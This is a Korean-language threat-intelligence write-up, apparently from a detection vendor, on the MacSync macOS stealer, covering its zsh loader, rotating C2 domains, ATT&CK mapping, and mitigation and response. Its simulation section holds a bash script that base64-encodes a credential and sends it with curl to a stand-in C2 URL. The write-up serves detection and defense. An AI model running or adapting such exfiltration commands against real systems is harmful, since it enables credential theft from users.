SOC Prime Bias: 보통

12 5월 2026 18:31

MacSync 스틸러, 순환 C2 인프라 사용

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
MacSync 스틸러, 순환 C2 인프라 사용
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

MacSync Stealer는 정보 탈취 맬웨어로, 맬웨어-서비스 모델을 통해 제공됩니다. 다단계 zsh 로더에 의존하며, 명령 및 제어 도메인의 변경 가능한 풀에 접근하여 도난당한 정보, 포함하여 비밀번호 및 암호화폐 지갑 자격 증명을 유출합니다. 로더는 쿼리 문자열 매개 변수를 통해 평문 비밀번호를 전달하고, 10MiB 단위로 수집된 데이터를 ZIP 아카이브로 업로드합니다. 이는 많은 도메인에서 재사용되는 고정 API 키와 빌드별 16진수 토큰을 통해 인프라 회전 전략을 사용합니다.

조사

RST Cloud는 새로 등록된 도메인에서의 다운로드 시도를 감지하고, jacksonvillemma.com 에서 한 시간 내에 Stage 2 zsh 로더를 캡처했습니다. 정적 분석을 통해 로더의 토큰, API 키, 및 명령 및 제어 경로 3가지가 드러났습니다: /curl, /dynamic, 그리고 /gate. 이 URI 패턴을 통한 추가 피버팅으로 2026년 2월과 5월 사이에 활동하는 약 12개의 명령 및 제어 도메인을 확인했습니다. 이 중 4개 도메인은 동일한 API 키를 공유함이 확인되었고, 다른 도메인은 일치하는 URI 행동 패턴으로 연결되었습니다.

완화

방어자들은 모든 MacSync 명령 및 제어 도메인을 차단하고 맬웨어가 사용하는 고유한 URL 경로 패턴을 모니터링해야 합니다. 프록시 및 DNS 로그는 /curl, /dynamic, 그리고 /gate를 포함한 요청과 로더에 연결된 Chrome-like macOS 사용자 에이전트 문자열을 확인해야 합니다. 보안 팀은 또한 /tmp/osalogging.zip 의 생성 여부를 탐지하고, zsh 와 결합하여 와 같은 프로세스를 관찰해야 합니다., gunzip, 그리고 eval 이 있으면 안됩니다.

대응

일치하는 지표가 발견되면 영향을 받는 엔드포인트를 즉시 격리하고, 악성 zsh 프로세스를 종료하며 AppleScript 페이로드 분석을 위해 메모리를 수집하십시오. 노출된 사용자 비밀번호를 재설정하고 macOS 키체인에 저장된 손상된 자격 증명을 무효화하십시오. 감지 로직도 박탈된 토큰, API 키 및 사용자 에이전트 패턴을 관찰한 것을 사용하여 향후의 손상 위험을 줄이기 위해 업데이트되어야 합니다.

"그래프 TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#cccccc classDef process fill:#ccffcc %% 노드 initial_access_phishing["<b>기술</b> – T1566 피싱<br/><b>설명</b>: 악성 광고는 C2 도메인에서 Stage 2 Zsh 로더를 가져오기 위해 curl을 실행하는 스크립트를 전달합니다."] class initial_access_phishing action tool_curl["<b>도구</b> – curl<br/><b>설명</b>: Stage 2 로더 다운로드에 사용되는 명령줄 유틸리티입니다."] class tool_curl tool defense_obfuscate_compile["<b>기술</b> – T1027.004 번역 후 컴파일<br/><b>설명</b>: Zsh 래퍼는 base64-gzip 페이로드를 포함하고 있으며 eval로 해독 및 실행됩니다."] class defense_obfuscate_compile action defense_embedded_payload["<b>기술</b> – T1027.009 임베디드 페이로드<br/><b>설명</b>: 페이로드가 래퍼 안에 base64로 인코딩되고 gzip으로 압축된 블롭으로 임베디드됩니다."] class defense_embedded_payload action defense_stripped_payload["<b>기술</b> – T1027.008 페이로드 제거<br/><b>설명</b>: 식별할 수 있는 문자열이 제거된 래퍼는 런타임 디코딩에 의존합니다."] class defense_stripped_payload action defense_dynamic_api["<b>기술</b> – T1027.007 동적 API 해결<br/><b>설명</b>: HTTP 요청에는 정적 API 키 헤더와 커스텀 단축 사용자 에이전트가 포함됩니다."] class defense_dynamic_api action execution_shared_modules["<b>기술</b> – T1129 공유 모듈<br/><b>설명</b>: 해독된 스크립트는 eval를 통해 백그라운드 Zsh 함수로 실행됩니다."] class execution_shared_modules action process_zsh["<b>프로세스</b> – Zsh<br/><b>설명</b>: 해독된 악성 함수를 실행하는 데 사용되는 쉘입니다."] class process_zsh process cred_os_dumping["<b>기술</b> – T1003 OS 자격 증명 덤핑<br/><b>설명</b>: C2에서 수신된 AppleScript는 macOS 키체인 항목을 추출합니다."] class cred_os_dumping action cred_browser["<b>기술</b> – T1555.003 웹 브라우저에서 자격 증명<br/><b>설명</b>: 동일한 AppleScript는 Chromium 브라우저 및 암호화‑지갑 확장 프로그램에 저장된 자격 증명을 수확합니다."] class cred_browser action cred_unsecured_files["<b>기술</b> – T1552.001 파일에 노출된 자격 증명<br/><b>설명</b>: 추출된 데이터는 유출 전에 /tmp/osalogging.zip에 기록됩니다."] class cred_unsecured_files action file_archive["<b>파일</b> – /tmp/osalogging.zip<br/><b>설명</b>: 수집된 자격 증명을 포함하는 ZIP 아카이브입니다."] class file_archive file collection_archive["<b>기술</b> – T1560 데이터 수집 아카이브<br/><b>설명</b>: 무대로의 압축된 zip 아카이브입니다."] class collection_archive action command_control_dynamic["<b>기술</b> – T1568 동적 해결<br/><b>설명</b>: 악성코드는 패턴 매칭을 통해 발견된 HTTP 경로를 사용하여 C2와 연락합니다."] class command_control_dynamic action cred_valid_accounts["<b>기술</b> – T1078 유효한 계정<br/><b>설명</b>: 공격자에게 유효한 자격 증명을 부여하는 "&pwd=" 쿼리 매개 변수를 통해 평문으로 macOS 비밀번호를 전송합니다."] class cred_valid_accounts action %% 연결 initial_access_phishing –>|사용함| tool_curl tool_curl –>|전달함| defense_obfuscate_compile defense_obfuscate_compile –>|포함함| defense_embedded_payload defense_embedded_payload –>|포함함| defense_stripped_payload defense_stripped_payload –>|사용함| defense_dynamic_api defense_dynamic_api –>|가능하게 함| execution_shared_modules execution_shared_modules –>|실행함| process_zsh process_zsh –>|실행함| cred_os_dumping cred_os_dumping –>|실행함| cred_browser cred_browser –>|기록함| cred_unsecured_files cred_unsecured_files –>|생성함| file_archive file_archive –>|사용함| collection_archive collection_archive –>|보냄| command_control_dynamic command_control_dynamic –>|제공함| cred_valid_accounts

공격 흐름

시뮬레이션 실행

전제 조건: 원격 분석 및 기준 사전 점검을 통과해야 합니다.

이유: 이 섹션은 감지 규칙을 트리거하기 위해 설계된 적의 기술(TTP)의 정확한 실행을 상세히 설명합니다. 명령과 내러티브는 반드시 확인된 TTP를 직접 반영하고 감지 논리에서 기대되는 정확한 원격 분석 데이터를 생성하도록 해야 합니다.

  • 공격 내러티브 및 명령:
    적이 타협된 macOS 워크스테이션에 MacSync 스틸러 바이너리를 배포했습니다. 스틸러는 현재 사용자의 macOS 키체인 비밀번호를 추출하고 base64로 인코딩하여 HTTP GET 요청을 통해 기업 프록시를 경유하여 유출합니다. 요청은 알려진 C2 엔드포인트 https://malicious.c2.net/dynamic?txd=<payload>를 타겟으로 합니다. 프록시 로그는 전체 URL을 기록하므로 감지 규칙은 dynamic?txd= 하위 문자열을 보고 알림을 울립니다.

  • 회귀 테스트 스크립트:

     #!/bin/bash
      # macsync_stealer_simulation.sh
      # 감지 규칙을 트리거하기 위한 MacSync 스틸러 C2 통신을 시뮬레이션합니다.
    
      PROXY="http://proxy.corp.local:3128"
      C2_BASE="https://malicious.c2.net/dynamic?txd="
    
      # 1️⃣ 가짜 비밀번호를 추출합니다 (데모 목적으로 현재 사용자 이름을 사용)
      PASSWORD="$(whoami):P@ssw0rd!"
    
      # 2️⃣ 자격 증명을 base64로 인코딩합니다 (MacSync의 인코딩 단계를 모방)
      ENCODED=$(printf "%s" "$PASSWORD" | base64)
    
      # 3️⃣ 전체 악성 URL을 구성합니다
      MALICIOUS_URL="${C2_BASE}${ENCODED}"
    
      # 4️⃣ 기업 프록시를 통해 요청을 보냅니다
      curl -x "$PROXY" "$MALICIOUS_URL" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15"
    
      echo "시뮬레이션이 실행되었습니다 – payload가 $MALICIOUS_URL로 전송되었습니다."
  • 정리 명령:

     # 임시 파일(없음)을 제거하고 필요하다면 프록시 캐시를 정리합니다
      echo "시뮬레이션 아티팩트를 정리합니다..."
      # Squid를 사용 중인 경우, 프록시 캐시에서 URL을 제거하여 반복된 히트를 방지합니다
      sudo squidclient -m PURGE "https://malicious.c2.net/dynamic?txd=*"